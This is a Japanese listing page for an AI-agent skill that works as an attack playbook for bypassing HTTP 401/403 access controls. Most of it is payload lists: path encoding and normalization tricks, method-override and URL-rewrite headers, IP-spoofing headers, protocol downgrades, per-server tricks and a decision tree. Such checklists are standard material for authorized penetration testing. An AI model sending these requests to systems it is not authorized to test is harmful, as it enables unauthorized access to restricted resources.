mcpField
4
401-403-bypass-techniques

401-403-bypass-techniques

github.com/yaklangセキュリティ2.6k3.8k 回インストール6 週間前に更新
リポジトリ

401-403-bypass-techniques について

HTTP 401と403のアクセス制御を回避できる条件を調べるセキュリティスキルです。パス、メソッド、ヘッダー、プロトコルの変化や組み合わせ、技術別の検査項目をまとめています。

主な機能

  1. 01パス正規化のバリエーション
  2. 02HTTPメソッドと上書きのテスト
  3. 03ヘッダーによる回避の確認
  4. 04プロトコルバージョンの変化
  5. 05技術別のペイロード

活用シーン

  1. 01制限されたパスのアクセス制御評価
  2. 02リバースプロキシとバックエンドのパス差の検査
  3. 03メソッドやヘッダーに基づくACLの確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill 401-403-bypass-techniques

インストール後、Claude Code で/401-403-bypass-techniquesを入力して読み込まれたか確認します。

詳細

スキル:401/403 バイパス手法 — エキスパート向け攻撃プレイブック

AI 読み込み指示:401/403 Forbidden の包括的なバイパス手法です。パス正規化のトリック、HTTP メソッドのオーバーライド、ヘッダーベースのバイパス(X-Original-URL、X-Forwarded-For)、プロトコルバージョンのトリック、組み合わせ攻撃を扱います。ベースモデルは通常、2~3 種類のヘッダーバイパスは把握していますが、パス操作のバリエーションと動詞+パスの組み合わせの全容を見落とします。

0. 関連するルーティング


1. パス操作によるバイパス

基本的な考え方:リバースプロキシ/WAF がある形式のパスをチェックする一方、バックエンドは異なる方法で正規化します。

1.1 末尾のスラッシュ/スラッシュの欠落
/admin      → 403
/admin/     → 200  ✓ (trailing slash)
/admin/.    → 200  ✓ (trailing dot)
1.2 大文字と小文字の区別
/admin      → 403
/Admin      → 200  ✓
/ADMIN      → 200  ✓
/aDmIn      → 200  ✓

有効な条件:プロキシのルールでは大文字と小文字を区別するが、バックエンドでは区別しない場合(Windows/IIS でよくあります)。

1.3 URL エンコード
/admin          → 403
/%61dmin        → 200  ✓ (encode 'a')
/admi%6e        → 200  ✓ (encode 'n')
/%61%64%6d%69%6e → 200  ✓ (full encode)
1.4 二重 URL エンコード
/admin              → 403
/%2561dmin          → 200  ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f         → 200  ✓
/admin..%252f       → 200  ✓
1.5 Unicode/UTF-8 エンコード
/admin          → 403
/admi%C0%AE     → 200  ✓ (overlong UTF-8 for '.')
/admi%C0%6E     → 200  ✓ (overlong encoding)
/%C0%AFadmin    → 200  ✓ (overlong '/')
1.6 ドットセグメント/パストラバーサル
/admin          → 403
/./admin        → 200  ✓
//admin         → 200  ✓
/admin/./       → 200  ✓
/.//admin       → 200  ✓
/admin..;/      → 200  ✓ (Tomcat path parameter)
1.7 Null バイト
/admin          → 403
/admin%00       → 200  ✓
/admin%00.json  → 200  ✓
/%00/admin      → 200  ✓
1.8 パスパラメーターインジェクション
/admin          → 403
/admin;foo=bar  → 200  ✓ (Tomcat/Java treats ; as path param)
/admin;         → 200  ✓
/admin;x        → 200  ✓
1.9 末尾の特殊文字
/admin%20 (space)  /admin%09 (tab)   /admin? (empty query)
/admin.json        /admin.html       /admin/~
1.10 バックスラッシュ(Windows/IIS)
/admin\    /admin\..\/    \..\admin
1.11 パストリックの組み合わせ
///admin///    /./admin/./    /admin/..;/admin (Tomcat)    /%2e/admin

2. HTTP メソッドのバイパス

2.1 メソッドを直接変更する
GET  /admin → 403
POST /admin → 200  ✓
PUT  /admin → 200  ✓
PATCH /admin → 200  ✓
DELETE /admin → 200  ✓
OPTIONS /admin → 200  ✓ (may leak allowed methods)
TRACE /admin → 200  ✓ (may reflect headers — XST)
HEAD /admin → 200  ✓ (same as GET but no body — confirms access)
2.2 メソッドオーバーライドヘッダー

プロキシはメソッドでブロックする一方、バックエンドはオーバーライドヘッダーを読み取る場合:

GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT

GET /admin HTTP/1.1
X-Method-Override: POST

GET /admin HTTP/1.1
X-HTTP-Method: DELETE

POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT  (in POST body — Rails, Laravel)
2.3 カスタム/無効なメソッド
FOOBAR /admin HTTP/1.1     → some ACLs only check GET/POST
GETS /admin HTTP/1.1       → typo-like methods may bypass
CONNECT /admin HTTP/1.1    → proxy may tunnel
PROPFIND /admin HTTP/1.1   → WebDAV method
MOVE /admin HTTP/1.1       → WebDAV method

3. ヘッダーベースのバイパス

3.1 URL 書き換えヘッダー(Nginx/IIS)

これらのヘッダーは、プロキシレベルのパスチェックをバイパスして、バックエンドに「実際の」URL を伝えます:

GET / HTTP/1.1
X-Original-URL: /admin

GET / HTTP/1.1
X-Rewrite-URL: /admin

プロキシには GET /(許可済み)と見えますが、バックエンドは /admin にルーティングします。

3.2 IP 偽装ヘッダー(許可リストのバイパス)

試すヘッダー(それぞれの値に 127.0.0.1、10.0.0.1、0.0.0.0、::1 を指定):

X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1

IP のエンコードバリエーション:0177.0.0.1(8 進数)、2130706433(10 進数)、0x7f000001(16 進数)、localhost

3.3 その他のヘッダートリック
Referer: https://target.com/admin     # Referrer check bypass
Origin: https://target.com             # Origin check bypass
Host: localhost                         # Host header manipulation
X-Forwarded-Host: localhost            # Forwarded host
Content-Type: application/json         # Content-type switch
X-Requested-With: XMLHttpRequest       # AJAX flag

4. プロトコルバージョンのバイパス

# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0

# HTTP/0.9 (extremely legacy — no headers)
GET /admin

# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See ../http2-specific-attacks/SKILL.md for H2-specific bypasses

5. メソッドの改ざん+パスの組み合わせ

成功率を高めるため、複数の手法を組み合わせます:

POST / HTTP/1.1                          # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET

GET /%61dmin HTTP/1.1                    # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1

GET /Admin HTTP/1.0                      # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1

6. テクノロジー固有のバイパス

サーバー主なトリック
Apache/admin/(末尾のスラッシュ)、/.admin(ドット接頭辞)、/admin%0d(CR)
Nginx/Admin(大文字と小文字)、/admin../(正規化)、X-Original-URL: /admin
IIS/ASP.NET/admin;.css(パスパラメーター+拡張子)、/admin\(バックスラッシュ)、/admin::$DATA(ADS)、/admin%20
Tomcat/Java/admin;foo(パスパラメーター)、/admin..;/(トラバーサル)、/;/admin(空のパラメーター)
Spring/admin.anything(サフィックスマッチング、古いバージョン)、/admin/(末尾のスラッシュ)

7. 自動化ツール

ツール目的URL
byp4xx包括的な 403 バイパススキャナーgithub.com/lobuhi/byp4xx
403bypasserヘッダー/パス/メソッドの自動バイパスgithub.com/sting8k/403bypasser
dirsearchエンコードバリエーションを使ったディレクトリ総当たりgithub.com/maurosoria/dirsearch
feroxbuster再帰的なコンテンツ検出github.com/epi052/feroxbuster
Burp Intruder手動テスト用のカスタムペイロードリストportswigger.net
byp4xx の使用方法
# Basic usage
./byp4xx.sh https://target.com/admin

# Output shows all attempted bypasses and their response codes
# 200/301/302 responses = potential bypass found

8. 判断フロー

Got 401 or 403 on a path?
│
├── Try PATH MANIPULATION first (highest success rate)
│   ├── /path/      (trailing slash)
│   ├── /PATH       (case change)
│   ├── /path%20    (trailing space)
│   ├── /./path     (dot segment)
│   ├── //path      (double slash)
│   ├── /path;x     (path parameter — Java/Tomcat)
│   ├── /path..;/   (Tomcat specific)
│   ├── /%2e/path   (encoded dot)
│   ├── /path%00    (null byte)
│   ├── /path%23    (encoded hash)
│   └── Result? → 200 = bypass found
│
├── Path tricks failed → Try METHOD BYPASS
│   ├── POST/PUT/PATCH/DELETE/OPTIONS
│   ├── HEAD (same as GET without body)
│   ├── X-HTTP-Method-Override: PUT
│   └── TRACE (may reflect auth headers — XST)
│
├── Method tricks failed → Try HEADER BYPASS
│   ├── X-Original-URL: /path      (Nginx/IIS rewrite)
│   ├── X-Rewrite-URL: /path       (same concept)
│   ├── X-Forwarded-For: 127.0.0.1 (IP whitelist)
│   ├── X-Real-IP: 127.0.0.1
│   ├── True-Client-IP: 127.0.0.1
│   └── Referer: https://target.com/path
│
├── Header tricks failed → Try PROTOCOL BYPASS
│   ├── HTTP/1.0 instead of 1.1
│   ├── HTTP/2 h2c smuggling (../http2-specific-attacks/)
│   └── WebSocket upgrade
│
├── Single techniques failed → Try COMBINATIONS
│   ├── Method + Path: POST /PATH/
│   ├── Header + Path: X-Forwarded-For + /path%20
│   ├── All three: POST + X-Original-URL + IP headers
│   └── Protocol + Path: HTTP/1.0 + encoded path
│
├── All bypasses failed → Consider ALTERNATIVE APPROACHES
│   ├── Request smuggling (../request-smuggling/) → smuggle past ACL
│   ├── SSRF (../ssrf-server-side-request-forgery/) → access from server
│   ├── IDOR (../idor-broken-object-authorization/) → access data directly
│   └── Auth flaws (../authbypass-authentication-flaws/) → login bypass
│
└── Automated scan with byp4xx / 403bypasser for completeness

9. クイックリファレンス — 主なペイロード

# Top 10 quick-wins (try these first)
GET /admin/     HTTP/1.1        # trailing slash
GET /Admin      HTTP/1.1        # case change
GET /admin%20   HTTP/1.1        # trailing space
GET /./admin    HTTP/1.1        # dot segment
GET //admin     HTTP/1.1        # double slash
POST /admin     HTTP/1.1        # method change
GET / HTTP/1.1                  # X-Original-URL bypass
X-Original-URL: /admin
GET /admin HTTP/1.1             # IP whitelist bypass
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1        # IIS path param
GET /admin..;/ HTTP/1.1         # Tomcat bypass

コメント